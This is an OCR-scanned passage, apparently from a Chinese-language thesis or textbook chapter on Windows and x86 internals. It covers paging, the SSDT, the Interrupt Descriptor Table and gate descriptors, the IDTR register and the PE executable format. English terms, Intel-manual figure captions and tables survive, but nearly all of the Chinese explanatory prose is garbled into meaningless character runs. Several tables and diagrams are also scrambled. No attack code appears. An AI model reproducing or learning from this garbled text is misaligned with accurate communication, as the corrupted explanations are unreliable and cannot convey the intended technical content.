¥ 4 5 ¥uo 1 A kernel mode T i B~ » kernel mode » &_Ring 0 -

B 4-21 1T windows2000 N{ZEEUIEEAYECERE (25| E Undocumented Windows 2000 Secrets Chap4 Figure
4-5 p.188)

SBS Windows 2000 Info Center ¥1.00: w2k_info.exe - Application Error

The instruction at "0x00401af0" referenced memory at "0x80000000". The memory could not be "read".

Click on OK to terminate the program
Click on GANGEL to debug the program

Cancel |

B & 3] e R RS 4] 0 paging < ARG Se R RS A end ¢

=5
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- f& > Paging #-sefgfr £3F 5 < [ 4p %

ek

] % B 0 f virtual memory

K2

s . = B page ¥ o e A hiE R 3 kT 5 Protected” o
Page table &_* % &% virtual memory = physical memory > page table
allocate memory % = - & % % enE § > F] 5% page ¥ &t kK p memory enix iw — H.

% - Pagetable i ¥ & x4 - ARty L oo
B 4-22Paging EiC B ia(REN =02 — (B F5 | FH B http://en.wikipedia.org/wiki/Virtual_memory)

Wirtual Memory Physical
(Per Process) Memory

SRR - AR A T A 3 Po2hiE oh page c $ - ARt A g 0 R
#. allocate %5 p @ e page > A28 4 £ 7 |7 Wens =¥ o 15 Windows

¥ SSDT 2 3% 5 £ & hFIRPNR G 7 b el ] KRGl > g ik 2 ez B

—~\\

75| SSDT e % » & JEF - BEAP ™ 2 RSB E € enifih o &7 1

ETTRS

ES

1‘#1—5 3P ke 1 5P e B B kernel-mode Driver > i i & 1 kernel-mode
Driver> 24 7 ¥ 12 A user-mode T & =4 15 37> kernel-mode Driver r2 B~ {8 §iz § «{# *2 >

Ei&iEIJSSDTU’”P\ z y ]{Lf;” ;‘;;L? ;¥ o
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4.1.5 IDT

% 8086 2 % - Interrupt Vector Table(IVT) i+ 2 {48 e F =_i+ ¥ (0x0000 ~
Ox03FF) » 4 256 i# 4 bytes real mode pointers (= 256 x 4 = 1024 bytes of memory)
s = o real mode pointer 5 ¢ 16-bit segment address = 16-bit offset == > @ 32
B vectors ¥ %k J2 E 0 internal exceptions » @ hardware interrupts B %’g d
programmable interrupt controller map | ix = — % vector o & #F7e771x86 ficie @ >
IVT = #& Interrupt Descriptor Table(IDT)#+% % ; % 80286 {é e g2 B » IDT e+

| fei= ¥ # protected mode T ¥RF ripLe 0w H R NI G o
Interrupt Descriptor Table (IDT) £ x86 7 £+ * %% {7 Interrupt Vector Table
HF R B RIZ B H IDT k&2 p 5 $37 interrupt {- exceptions ht F72 % s ©
A Bl endm & A £ % 3 X86 fr AMDG64 (%8 ﬁg‘: FoH s 28 ﬁéz’v’ﬂ?ﬁ:ﬂéﬁﬁéﬁﬁfu’

FERF R R

ETIRS

AT

Tz Al e @ 3] IDT -
(1) hardware interrupts

(2) software interrupts

(3) processor exceptions
vipdt WAL S interrupt; IDT d 256 i interrupt vectors e = » % 32(0-31 or 00-1F)

i# %% % processor exceptions e

(@) IDT ¢ Gate descriptor & iTit fia
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IDT ¥ 3 % @ % >t protected mode ™ pF - € B 44 v % > J — i@ 8-byte
descriptors =i 7] » i@ T B e lRAl® 0 ® 02 interrupt vector B i & 51 0 @
descriptor ¥ r4 &_interrupt gates ~ trap gates ~ task gates > ~ IDT z 7 45+ ISR
routines =1 pointers- iz = #& descriptor ¥ 5142 4p #4171 ISRS; fw &+ k2% Interrupt
Gates #f 2% o k envinterrupt 84 » 2 ¥ EFLAGS ~ CS~ EIP % stack ® - ISR ¢
A g 3t privilege b p w3 {7 o0 process B § i ¥ (B A% & privilege
level 4% 3 ) ; Trap Gates = >+ interrupt gates > e % ;%“,f interrupt flag ; = :T%J—ELL;HJ ’
interrupt gate ¢ trap gate #7 2 P w34 {7 task ® P % < exception-handler procedure

£« interrupt-handler procedure » 4[] :
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B2 4-23IDT ¥f GDT(Ek LDT) & Destination Code Segment fYRE{A(EZE5 [ FI EH : Intel® 64 and IA-32 Architectures

Software Developer’ s Manual Volume 3A: System Programming Guide, Part 1, Figure 6-5)

Destination
IDT Code Segment
Interrupt
Offset Procedure
Interrupt 2 Interrupt or —““@_"

Vector Trap Gate

Y

Segment Selector

GDT or LDT
Base
Address
- Segment
= Descriptor

gate =1 segment selector 4w & GDT & LDT # <1 segment descriptor for an
executable code segment » @ gate descriptor = offset field 45 = exception-handling
g interrupt-handling procedure «nF g - & d interrupt gate £ trap gate > ISR + %
¢ & {7 task switch» 4 £ interrupt {5 > &2 % € & &8 & # EFLAGS-CS-~4r EIP
2z~ stack ¥ s 4-3 error code £ exception » B+ € 4= error code *x » stack ¢ ;
% ISR = privilege level = CPL #pf > B 7 ¢ 7 stack switch» % ISR 7 privilege
level #2.8 > B2 % € i stack switch > ¢ p¥ SS~ SP + ¢ ** EFLAGS % 4% % »
stack 2 =i » stack ¥ - & {s4= #75 3z stack ¢ HFRAF | B R0 stack ¢

4o B o
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B3 4-24stack usage without privilege-level change (B35 | FH B : Intel® 64 and IA-32 Architectures Software
Developer’ s Manual Volume 3A: System Programming Guide, Part 1 ,Figure 6-4)

Stack Usage with No
Privilege-Level Change
Interrupted Procedure’s
and Handler's Stack

-«——ESP Before

EFLAGS Transfer to Handler
CS
EIP

Error Code €——ESP After
Transfer to Handler

[B]Z% 4-25stack usage with privilege-level change (&5 | F 5 : Intel® 64 and IA-32 Architectures Software Developer’s

Manual Volume 3A: System Programming Guide, Part 1 ,Figure 6-4)
Stack Usage with
Privilege-Level Change

Interrupted Procedure’'s e
Stack Handler's Stack

-€——ESP Before
Transfer to Handler ss
ESP
EFLAGS
Cs
EIP

ESP After———» Error Code
Transfer to Handler

d ISRE®PF > & * IRET 454 > 4=% & interrupt p¥5 switch stack » IRET
~ ¢ 3 stack switch ® % - Trap gate - interrupt gate % fe st = & % d2
EFLAGE - 5% > 4 interrupt &% exception £_ % d interrupt gate p¥ > 2 % ¢ 3o
IF %5 002 d 2 ISR & B% 4 interrupt> ik w pF > AJ2 B ¢ tifh IF 0
@5 e g > 4ok interrupt €554 trapgate > PIESLE 2 € i IF hiE > & /j*u{
#oo & ISR P 5 Faw ¢ £ &% 2 interrupt o interrupt gate € € ST B HATL B 2
«1 hardware interrupts 2 3 g4t # > F]t 1§ 3° PR 5% hardware interrupts » = trap
gate ¢ ¢ hardware interrupts ‘&4% & enabled ek &k » F]pt A & % >t &2 software

interrupts and exceptions - Task Gates ¢ ¢ = task switch > =3 ISR 7 p ¢ eh
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context(with its own LDT, etc.) ; iret 7 & * * return fromthe ISR » ] 5 sd2 B &
ISR s task segment ¥ X ¥ 7 — B ¥ §% {7 task switch kw4 T %= task < bit; ¢
¢ currently active task-state segment #% switch » * 4] #* hardware task switch
mechanism % 7 x5 3 @ T E X I U i * L H v program ~ thread &
process> 4% interrupt 2.5 4 task gate- finterrupt 3 4 pF> € ¥ 3k task switch ;
1 * task switch 57 ISR 4% ae_# task switch B > 4% interrupt cr42 ;% &% 1 % ek
fi g B BAkEE ARk ~ 2 H FIATE TSS ® 143K ISR @ * ATenstack s F 5 4ok B
CPL = 042 r @ stack @ S48 » 7RA— 4 ISR % ¢ switch task » @ ¥ &t
@+ ISR Z e A7 ISR ¥ g TRTeH LDT @ $3 p & ehaddress space; 8@ >

task gate 3 & 4% BLA_ &+ =0 interrupt ¥ cfvtask switch ¢ -3 1% % R > i 17 k5L

l»‘t‘
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(b)Gate descriptor s ;8 & {7 5
v N b k> & IDT ¢ < gate descriptor fe & GDT # #7i¢ * 35\ 4p
5 # ¢ > interrupt gate f- trap gate = descriptor 4= call gate descriptor 74

2

3 fx i @ task gate descriptor P& 4n % ISR 7 TSS segment o v % efrfe 38 4o

=

[E]754-26 gate descriptorfVi& =, (EF25 | FH B : Intel® 64 and IA-32 Architectures Software Developer’s Manual

Volume 3A: System Programming Guide, Part 1 ,Figure 6-2)

Task Gate
31 16 15 14 13 12 8 7 0
D
Bl p (0010 1 4
L
31 1615 0
TSS Segment Selector 0

Interrupt Gate

N 1615 14 13 12 8 7 5 4 0
D
Offset 31..16 Pl p |OD1T 10000 4
L
31 1615 0
Segment Selector Offset 15..0 0
Trap Gate
31 1615 14 13 12 8 7 5 4 0
D
Offset 31..16 Pl P |DD11 1000 4
L
31 1618 0
Segment Selector Offset 15..0 0
DPL Descriptor Privilege Level
Offset Offset to procedure entry point
P Segment Present flag

Selector Segment Selector for destination code segment
Size of gate: 1 = 32 bits; 0 = 16 bits

D
I:l Reserved

A interrupt % 2 pFo4o% IDT ¢ 4% e descriptor £_interrupt gate ¢ trap gate »

PledT B enf7 5 #g % CALL frfe’— i call gate > ¥ 7 3 far pointer(segment
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selector and offset) ; k2 ® * far pointer * ## 3% 47 ;% 34 {7 % % exception handler

2« interrupt handler code segment # &7 handler procedure » fe ¥43% e d® B 2 B

EFLAGS register e IF flag 2. = ;¥ ¥ % 4 Fe ; @ % ¥ J& <7 descriptor €_task gate -

Al e 5 8g i * CALL »f ¢ - i task gate -

e
;

(c)CPU ¥ enfiz B

& virtual 8086 mode ™ - program status word (PSW) &_#* & 474148 2B ek i »
clear interrupt flag (CLD)4= set interrupt flag (STD)+# 12 ¥+ process interrupt » e
% 386 i 7|2 B PSW ¢ & #7140 & % control register zero (CRO) ; # 486 %
P e R B A ¥ ¢h4e ~ 7 write protect (WP)®] CRO # -

= CPU ¥ >3 — &85 BE* k4] segment > H&_code segment (CS) ~ data

segment (DS) ~ extra segment (ES) -~ stack segment (SS) > 4= % :

ZH& 4-9CPU H1HY segment register

Code Segment (CS) ipe 7 7 /25 4p 4 - B segment

Data Segment (DS) e i3 2ESFLTRO- B3 E

Extra Segment (ES) B FRING BT - ZEERs e 16 it A/
Stack Segment (SS) dpe 77 % vAR e fpan- B segment

hoCPU S G TGRS E 0 deT A

[E724-27 CPURHYERIGEREE 728
Global Descriptor Table Register (GDTR)

Point to the global descriptor table (GDT) to map address

Local Descriptor Table Register (LDTR)

Point to the local descriptor table (LDT) to map address

Interrupt Descriptor Table Register (IDTR)

Point to interrupt descriptor table (IDT) used to fine interrupt handlers

K,ért 7 CPU table> OS » 5 p @ 5 table » # &) k3 > system service dispatch
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table(SSDT) > OS * v % a2 systemcall » IDT * k a2 A #8{-fic 48 < interrupt -

(d)IDTR

protected mode IDT i+ physical memory smix e — i 3 5 G dZE € 5 454
7 73 B(IDT  register » 7~ # IDTR ) % %% 75 physical base address {= the length in
bytes of the IDT » ¢ «h& & 5 48 bits » &< =~ 16 bits f# 5 IDTR 2 LIMIT

section » @ & B =~ 32 bits 5 IDTR =7 BASE section » 4 B #77 -

[B]Z5 4-28IDTR structure

IDTR

BASE address LIMIT

47 16 15 0

BASE i % IDT % memory =7 base address » IDT # 12 ¥ ** memory ¥ iz i@
- B+ > > & BASE & ﬁﬁig w v > LIMIT field p| 332z IDT p 5 ch& & o

LIDT (load IDT register)f- SIDT(store IDT register)d 4 4 % & * * load {=
store IDTR ek % - LIDT 35 4 load i 7ze @ %8 p cHbase address {- limit | IDTR -
B4 73 % CPL A0 A4 g4 F i ¥ AT ks IDT e
initialization code ¢ & * LIDT> i*%¥ & %+ # s | * LIDT k% IDT: & SIDT
ip 4 ZAF G503 & IDTR <hbase {o limit E 0| @M ¢ » 2B 4 7 2 LT P b
privilege level ™ 44 {7 » 4% — i vector 45 w h descriptor 4z:i& IDT 5 limit > B

general-protection exception(#GP);"I%‘u g2 o IDT 4r IDTR 98 2 Bl4c™ -
[ElF24-29 IDTERIDTRAVEIFERH % ([EIF25 | F 5: (6] Intel® 64 and IA-32 Architectures Software Developer’s Manual
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Volume 3A: System Programming Guide, Part 1 ,Figure 6-1)

IDTR Register
47 16 15 0

DT Base Address IDT Limit |

Interrupt
- Descriptor Table {IDT)

Gate for
Interrupt #n (n-1)-8

S S

Gate for
Interrupt #3 16

(Gate for
Interrupt #2 8

Gate for
S — N Interrupt #1 0
| 0

3 ¥ &> protected mode T “vinterrupt vector table Az hb e 7 FiE 2 A
real mode T chixnt > @ E B JZ Ed real mode *7 # F| protected mode ¥ ¢ £ AT
Reset » 3u interrupt vector table Z_& 3|77 IDT 424 =kt » ¥4 IRQ #74f e
interrupt € #7fe & - @ & Lﬂ\wﬁpu:h_)]* ¢ il BN IDTRE B> 5§ &
74 - B interrupt pF > ’I} ¢ 1335 IDTR #1k R a XKF S interrupt

service en:& » BL3 34 {7 interrupt service routine(ISR) -

4o Bl > ¥ 0% SIDT 4 4 kP17 6 bytes 0 IDT F » = 2bytes = & &
IDT # e -] » {& dbytes % IDT # # ER Rty R L
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7% 4-30 IDTR 9 limit 1 base £ IDT A%/ K IDT vector B2 AT (ER5 [H -
http://loda.hala01.com/2009/04/linux [&|(71),x86 IDT Z2£%)

IDTR
BASE (32 bits) LIMIT (16 bits)
8 bytes i
limit
8 bytes
Bbyle_s |
) 64 bits ‘ .
OFFSET plor]l T | 000 | Reserved | OCEMERESEICEIOr |  OFFSET
(16-31) VR RBAY 0-15) 0-15)

L)
Cal

X

() NN
Cal AT

+H

SN
Ibits 2bits D bits 3bits 5 bits 16 bits 16 bits

H ¢ > Segment Selector(16bits) #_& ISR #7 {77 segment selector » 12 45 selector
i T GDT ehff = 5 @ Offset(32bits) = ISR #dp T_segment p i& » gL4p
$Hizat o 3 ¥ 30 ¢ 1395 GDT f§ = ¢ <0 Base address *c IDT # =@ ¢ Offset % 35
41 ISR &g ~ 2L 5 DPL(2bits)(Descriptor Privilege Level) z_s interrupt privilege
level » ¥ ¥_0~3(Ring0~Ring3) » &]4- > d kernel (Ring 0 )3 & % Ring3(user) % ;¢
F& i * chsystem callﬁﬁ{%i@ DPL % 3 &1 80h interrupt %k = = > H v evinterrupt
DPL % 0> usercode & ;= & ¢ * o [7]

% X86 protected mode T - 32 @ interrupt 38A4% Intel T & 5k st exception
¥ 35§ <0 interrupt service » F]4 3R % protected mode F 3 x ¥fRt g ¢ interrupt
service ¥_s . 20h 17 {4 &0 interrupt number(# 4% IRQ #74f & 7 interrupt) °
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d »* IDT £_8-byte descriptors 7' 71 » & interrupt 3 # P » EJ2 B % interrupt
vector 3k 8 ¥ Ju 2 % 4c + IDT base address > %”gr} IDT length en%]e4 » & 41 &k a0t
%* ¢ ftable ¥ T2 > 4% <~ > WAgiE IDTR < limit value » exception )T.%g
w4 5 ek % 2 & limit value » # 7% % calculated memory location 7 8-byte

descriptor ?‘“ ¢ 4% load = &k » L k4245 descriptor g A frp B B 4ode 1F o

(e) Interrupt Vector #hig #

Fully populated IDT # & & F #_2 KB (256 entries of 8 bytes each) » & 7 - Z_
£ % 3473 ¥ i o0 entries o Intel % F  vectors 0-31 % processor generated
exceptions (general protection fault, page fault, etc.) » 2k m » p % = 3 vectors 0-18
MEIE BT F o Rk FyEJIE B¥ i 5 broken software #- vector * >t H @ p i1

CRCEN B YT S

IDT =+ 32 B vectors =% 4 .

EZ4-31 Fi32{@Einterrupt vectorfyJ F#R (EF25 | H : http://en.wikipedia.org/wiki/Interrupt_descriptor_table)

vector * i
1 Debug exception
2 Non maskable interrupt
3 Breakpoint exception
4 ‘Into detected overflow'
5 Out of bounds exception
6 Invalid opcode exception
7 No coprocessor exception
8 Double fault (pushes an error code)
9 Coprocessor segment overrun
10 Bad TSS (pushes an error code)
11 Segment not present (pushes an error code)
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12 Stack fault (pushes an error code)
13 General protection fault (pushes an error code)
14 Page fault (pushes an error code)
15 Unknown interrupt exception
16 Coprocessor fault
17 Alignment check exception
18 Machine check exception
19~31 Reserved

(f) ISR ik

ISR i3 fr general procedure — % > aJZ B % jLiFiE » privilege level #2 i<
ISR ¢ 5 4 ih{;m » % interrupt 3 4 pF > 4% 32 ~ privilege level ¢ current
privilege level (CPL) £ ™ ISR pF » B2 % € 3 11 general-protection (#GP)
exception; @ - general procedure # e cH-E_interrupt vector ;X 5 requested privilege
level (RPL) #7112 B 7 € ¥ &5 RPL>® ¥ 3 % interrupt & exception 2 d INT
n~INT3~INTO 45 4 22 ihpsiz - 4 ¢ & % gate = current privilege level (CPL)
A_F ¢ descriptor privilege level (DPL) | » &7 % & level $# 4 <57 procedure 4|
* it 4 4 BUR & Suen ISR(He page-fault ); 477 48 A2 4 <hinterrupt & exception

JLEZ € b gate ¢ descriptor privilege level (DPL): ] % interrupt g p 48+

J

SEA O FPL T R ERI M RS BT AL
[F2R A
(1)%# ISR ¥ 7 & g2 stack » 734 (&4 > divided by zero) » B ¥ 113 3%

i® procedure *< | conforming ¢ code segment *# -
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(2)% ISR 7 & &2 p $% <0 data segment> B ¥ 143 v 22 3| nonconforming ® 4%

% 0 rcode segment ¥ > F]pt§ g A interrupt BF > 4 7 € iE FOGEARR o
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4.1.6 T AT R

TSR R R L =

/J
T
=
W
s
&=h

Mo ik k k BAI R LB I ek e A (header) R BB T A AR 0 < A
PE(portable executable) A E st 7 4 4ov * KB FRNB o > 2 ¢

VI RAL D oY R R EXE 112 B Ll i en DLL - i34 PE A5 % ek

EEV R windows £ 4riwfe B e RM Z BEAN T ¥ BT e TAELD B
3= (compiler) 7 i 3 B (linker) #7 % & 30 51 4e - WindowsNT % e48 3% % ° £

0x40000 ; % #X > 2B HEF 1 F1* VC tebmida% 425N chpF iz { sot o htE o &
¥ i )I*g R e S T AR & F 5N o de Linux 1@ % sh ELF R 50 S
s o B ARE RS £ Linux b s EerE 2 cho £47 p en CPU 35 4

FHE L S 3 g 3 PlcE o st o T ARG 4R WIn32 7 4
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&5 4-32PE SCFAVSERE
DOS MZ Header
DOS stub

PE header

Section table

Section 1

Section 2

Section ...

Section n

EXE #re i bfl gt g iz pe L Blate st #tig e eh o § 8 5 ehpriz o 4250
FARTIERMY o d T REFTT R DERUIT I - LE2F 0 T PE

header € P e B iccni>% o R FB > MU T HANMFBHE AL o
3 B L

DOS MZ header 4= DOS Stub :

4% & DOS ™ 44 {7 PE 134 H » ¢ § #1714 & 7 DOS Stub » 7 3 # "This
program cannot run in DOS mode" » 4% % windows 2. & - PE loader ¢ 3% DOS
MZ header ® . {5 - 1 % # e_lfnew g+ DOS stub ® 4 7| PE header - # %
7o

pNTHeader = dosHeader + dosHeader—> e_lfanew;
DOS stub & ¥ 5 - B EAEXE> &7 L3 PE AR eni® ¥ k3P » vk

H = BT - B4EE o ]t - DOS MZ header 4= DOS stub 7 ip ¥ 4 & % i
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* o 1w A D RS DOS F L7 A & ATk 0 portable-executable file g4 ®) o

PE header :

¥ T % KR 7 PE 4% P > PE loader #-¢ j$_DOS MZ header # 15 3| PE
header i #% & 12 B+ DOS stub & # Tt ¥ 2 i 11 PE header - PE header % i
¥ IMAGE_NT_HEADERS méﬁ_ » 2 &% WINNT.H - % f‘ » E gt 3] PE header
2 f5 0 €S EF BREBRAEET A - BF R PERERRS L E 0 &
% T e CPUE 7 > it enfint (base address)E_% » » — £ 3 A i@ section » &4
~ B EXE B E DLL #% F31 o L 87 A % - 5 DWORD #acm 2 a B3 &
## IMAGE_FILE_HEADER 4= IMAGE_OPTIONAL_HEADER

DWORD Signature : # = p % & 5 ASCII 7 PE\O\O
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IMAGE_FILE_HEADER FileHeader :

Z#& 4-10IMAGE_FILE_HEADER FileHeader [/y44 4 Eil & s 183

Field name

Meanings

Machine

WARE T TR R e CPU o #3Y Intel T4 > ZE E
IMAGE_FILE_MACHINE_I386 (14Ch) - # i i§_§_ARM & fis
% IMAGE_FILE_ MACHINE_ARM(01c0)

NumberOfSections

Fe section B P oo ek AN PR ALY i\g 4p g “Z]z‘— i3
section fih% B IBERIE o

TimeDateStamp

FoEIE P B ARER o

PointerToSymbolTable

# vb?x/%%% 0

NumberOfSymbols

# vb?x/%%% 0

SizeOfOptionalHeader

A7 ?T?"gifj\:ég—f#i {¢ e OptionalHeader g < - » &

Y 2 s s
& OPTIE ©

Characteristics

B RS T e e o b o exe B Edll

IMAGE_OPTIONAL_HEADER :

5

PE el dBA #1530 0 S F 31 BmA o 2 A L mF r %

Zef& 4-11IMAGE_OPTIONAL_HEADER #1482

Field

Meanings

AddressOfEntryPoint

PE % » B (70 PEAGY - Bdg 4 P BB
hhe FERFTRE BT AL ¥ RS B LIAT
AR $ I AR ko SR RRATAR $m B hb hidp £ A

o

ImageBase

PE ~ & lﬁi;k?\#}}%l” Hoo Wde s de % 3% E A
400000 » PE ¢ » B4-¥ e 4 £ T ﬁwn;ﬁm
400000h g o F " HBA"L T FE A T S AR B
b o FRPE R BEE Y R L o

SectionAlignment

AP section * RFE DT o bidr > dok i A
4096 (1000h) » 7% -5 & chd= 4ok b & B 4096 ehfd
#c o £ % — &/£.401000h B 40 <] §_10 B =~ & o
Bl — & & Z_j¥_ 402000h B 4> > T & 401000h fe
402000h 2. BB 5 1% % 7 B LA * o

FileAlignment

2 2@ section * KA ST o blde o ok HE A
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(200h) » > PRE-E & irde o ph & JE 512 A fic o B
5 - HEAEBAE 200h B 4sE <) F10 B o B
T A R 400h: i KA E 512 fo 1024
2R S EFILARRY [

MajorSubsystemVersion
MinorSubsystemVersion

win32 3k ¥4k o & PE AH 5% P 5 Win32 @3-
B AR AL TR 40 FRIHE AT € 3 m Al
}’i °

SizeOflmage BT BB PEFER L] o U RATEE OHR AJD (S
Fr1k o] o

SizeOfHeaders TF ARER P /] 0 4 3R E 3T SizeOflmage 72 fh %k ¢ 47
F section f% <f o W I BTG PE A F - &
#HE o

Subsystem NT * k28] PE A /B 3VR B F 5 5o ¥ % % #ic Win32

#2340 B 3 @ 8 Windows GUI = Windows CUI (3341

c)e

SizeOfStackReserve

RiFEA Ay <] o

SizeOfStackCommit

- B ek 2 (committed ) (53 (7 M4 43 fp enge
BT -

SizeOfHeapReserve

%5 45 & 4= chprocess heap s e R #ic g o

SizeOfHeapCommit

- B 4ok 2 (committed ) % process heap iz

PBicg o

DataDirectory

IMAGE_DATA_ DIRECTORY ,fs—_;-f#xi 5o 4 B ‘—é—f#;ﬁ N
& ?Tl"“ﬁ#m RVA » & ariu ~feph & o

gﬁ@@gﬁfﬂig‘?,\a@# € B3| & hsection table -

Section Table :

L

-
)

B enfais o o

R i SR

cod W PEARET MR ETE B

~

b

section # fr e/ bl4e 2% section £.F Vi B 0 & TR AR i u R — IR A

i

Mo AN BRLTHE T

e

2

I 321815 %osection table 4.5 -section table

A - BApRLs] o R - B iR BT H ¢ - B section - PE Y ~ &

g

wye

d

& — 1§ section » & F&¥ Ju section eph EF il AsHiEr o
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Sections:

PE #h% & 4 3

2,

section 3% ¢ 7 £ *

E
E4

2R = )\
P BT 4

section = » G]4cF A ehtext ~ .data

iT52 T &

k& 4-12 PE section Y144

rA AL

jdata £ % » = B

& 7 {F

.arch A2 4 ﬁvﬁi@ 7 3 (Alpha Architecture Information)

.bss G AT T AL o AR ITEN S DR B o

.CRT C++ runtime (CRT):& {7 #p v 3§ Hcdy

.data FRVHEPR/TH>aTR R A A 2B ¥

.debug AL

.didata Wk R LA

.edata % 4 % % 4 (Export table) °

.idata o fh% 24 (Import table) o

.pdata £ ¥ F 3 (Exception Informatlon)

.rdata R rER T FE

reloc A S

.rsrc T FRORE 0 EFEHTR o

text exe 2 dll FH ¥ 34 7 R AE

xdata B ¥ 2 4

SR AP E R RS Dk E 2 AR - BRBF SR G A

35 4ok PEHeader ¥ 3 & BB TG B R B BV R T A
BwREBA - bldeo idata ¥ U frtext £ - BRI H LN texto 2y E G P A

PE Header {s ¢ 3 optional header =

W R

M
[N

2

Y

-

™

£ 4%
U 19

f2 PE #2358 » &7 R H#AT

& 3% -4k Virtual address:

90

¢ DataDirectory /& %] » ] 5 7

‘a <5
i~ ¥

6

% % i section table % %3 » 4 p¥ DataDirectory 4 4T ¢

YRS EEE TR



I Bk AP R hitglo Jr*fukﬁi\f’ LR ehd R org Blahiza o
b PR VA2 48 - nl (logic address) o o fLenfest ¢ o E F 03¢ (real mode)
® % 7 segment e Nk T imiigd — BsegmenteniE f fsEe- B E kS o
A 32 ek e @ % E T (flat)eie B R o sr AT A R 2 E
segment shiB B E 0 R B Y R 32 APBSE TE (KO0 B 4n) o 32 R hik

HBET®HF LT 2B IRA ak (4 R AAG) - et A T B AR TR

S+

* o fowindows i se¥ o ARNBE A % K 26 e R T 4R F oo ipidtge
Rtz FR-g 4 ivE ksl £ 4 (page table) » B 5 32> * kb 2t H i fg 30 1y

F A FEDEr o

0¥ & $% =4 relative virtual address (RVA) :

I AR T AL K S uk(base address)shdp $t iR A £ o AR G B E - PE gk dAs
e ¥ o PEARY dnF SR € ¥ RVA k&7 > - B RVA 5% - T ihif
# 1 o 4 > windows 4= — B PE #%F » 3 2z B 48 - ut 0x400000 Fw o 4%
$timage 3 — B & £ F 4530 0x401464 - 7R: B & 2 ¢9 RVA :T%—EL 0x1464 :
mE T — AK L =RVA- & PERY » % S8z 5 £ RVA> @ RVA &
7 % PERGAE PE loader 2z ® 881 1 € 3 & & o 4o% P 2 424 image & 4 p% &
Tlrefedlm 7 £3%:F PE loader > Rizd RVA H#-7 godlit grds @& % > 3 &4

RVAToOffset &3t 4 # Mgk = ih# £ -
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& & 4t base address :
* R dy AR ST e B e EXE 2§ DLL shdz 4= ak o Windows95 i\" »
&4 PE i 53] 0x400000 5 @ windows NT §* ~ B4+ PE #; | 0x100000 -
§ » PE fhehi & % 3y
1. % PE#p#£34 7 PE loader #& 4 DOS MZ header #2: PE header i
#HE o hok 53] 0 BlptiE D] PE header o
2. PEJ » Btk & PEheader 7§ »cfbedrd § oy 11 PE header
ik 2R o
3. ?sftrfl PE header «h& & % - PE §* » B3 B~ # @ drsection T » &
BOF AP S 2 Rap i S p s T 2e R 0 e B section table 32
4p T ehrsection it o
4. PE 4Pt~ co et s - PE % » B2 PE 4@ 47 2 import table
(Fr 2 ) BHEINL -
;t >»EHEH PEMT T h BB AT
1 % £ % % 4 F & % - B 3 H @ L F F
IMAGE_DOS_SIGNATURE » & DOS MZ header 3 #x -
2. - LEP < i DOS header 3 »xts > jee e_lfanew % = i PE
header -
3. - $iz PE header eh% - B % ehim £ F £ IMAGE_NT_HEADER

[PENO\O] o 4o 16 3 i 48 ™ fie » 7824 i jegn 5 suth £ B 2%
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¢ PE # o

Wi e svig IMAGE_SECTION_HEADER %15 - £ % 4 % PE loader

1. 3 2 IMAGE_FILE_HEADER <7 NumberOfSections 3 > ig
section #c
2. SizeOfHeaders & i@ i 5 section table e H# & > 302 pb Z_ix

section table o

3. WEEBRELARAE L SR E

4. §xvE g 2 g B~ PointerToRawData 32 (8 ¥ i 3 3% 4% i #
£ o AR {8 £ 3 B SizeOfRawData = & K /4 7 pt 4 i iz~ 2 8 -
Fd TayE

VirtualAddress + ImageBase = section 42 425 $% = ht

R4 Ij*ui% % o & phstigie il o ¥ 4945 Characteristics # &% % B
ltJ_—_ o

5. #mAE B> B 3 41y section §re AT £ -

i BE section table % L3

1. PE % it »cfiusk o

2. %_i=3] PE header erdedyizat o

3. j&_file header 7 NumberOfSections i j& B~ & #c o

4. WL iES B2 2 L& & ImageBase+SizeOfHeaders £+ PE header
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ehAe e (- hk + PE header 4+ ) o (& % ?ji?"géf PE header) 4% %
A& AP Bpen ik > WLt SetFilePointer 3 R dp i L T
4% o & & 2 B A E F 3% i SizeOfHeaders # 42 o
(SizeOfHeaders ¥_ IMAGE_OPTIONAL_ HEADER ( PE header)

AN DY/ Su A ]

A2 s B IMAGE_SECTION_HEADER #1f o (i3 %42 5])
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# » £ Import table

&3 Import Table 4= Export Table shi®* 2.5 » #-4 8 % I 4o 2
HIRE S5 o A PE Y o 3 A ¥ - e it (5]4e USER32.DLL ¢
¢ GetMessage ) > %o EWid I ken CALL 454 7 g4 4041482 42 @ % DLL
Pendi gt om g% - B JMP DWORD PTR [XXXXXXXX] a‘]a ZA %é—"ﬁ# i

Ftext ¢ o JMP ip 4 BeE - @ imabd o gt imakfyr fidata +H- B DWORD 2

# o iz DWORD P 3 3%t

g;

—:E':J} > hHE (ﬁ'i}‘“i@.)\%&;) ’ '&F@'—"‘]‘ﬁ :

[l 4-33 A k=PI

.idata (import table) USER32.DLL

000400 BFC0847D
42 \.

BFC0847D GetMessage:

JMP DWORD PTR

000144
e [00040042]
text
CALL 00014408

A7 B CALL 45 4 B3| DLL ¥ ehudist mpket 2 F] &% DLL

& X ehizpt 3 - 24P 0 4o % import/export s 3¢ = pk e % o B PE Ioader,jﬁi
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et call 4p 4 o e it gt o % 2 Rlehiv2 »PEF O~ B2 % 4 i g
g B e e Bl o u .~ $lidata 9 DWORD ¢ ¥ o Import table s i{®* &
%2, 2% PE loader & # » v ¢h 28 30 N ez (R 48 =4k o @ EXport table e i® #* A3
2 3% PE loader izd &3\ enizpt o B3 PE loader 4-i® import table 2 4 e B~ ¥
export table sHF 3 > #-¢ BT F F R FHwa i g o

PE loader 1 * Data Directory % 4} | import table- = £_Optional Header % #

¥ ok {5 - 1% & -Data Directory ¥ - 1 IMAGE_DATA_DIRECTORY 45

-

y.ow

X5 6B*R  FRAAE - BEEFTHEEDTARVA A ])

T ER

‘}

‘fﬂ‘%
ﬂﬁi

HhF 3 & IMAGE_DATA_DIRECTORY &' 7|# chiz i £
ﬁiﬁ’éﬁ$%$$&§¥ﬁﬂ%£%?aﬁoT@&iﬁa

IMAGE_DATA_DIRECTORY j‘:é:—ﬁg‘:“i Flehim B ORI

FH% 4-13IMAGE_DATA_DIRECTORY 4% f#[Hi%]

Member Info inside

Export symbols
Import symbols
Resources

Exception

Security

Base relocation

Debug

Copyright string
Unknown

Thread local storage (TLS)
Load configuration

O N|OO(L|P|WIN|FL|O

[y
o

|
[EEY

Bound Import
Import Address Table (IAT)
Delay Import

=
N

[y
w
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14 COM descriptor

Data Directory ¢ 7 7 PE # " & &£ & T #. Szl fre o =+ ¥ 3 - Data
Directory =% B = R % 4_ IMAGE_DATA_DIRECTORY & #r4g 4] <> H 2 &Ao

AT

IMAGE_DATA_DIRECTORY STRUCT
VirtualAddress dd ?

isizedd ?

IMAGE_DATA_DIRECTORY ENDS

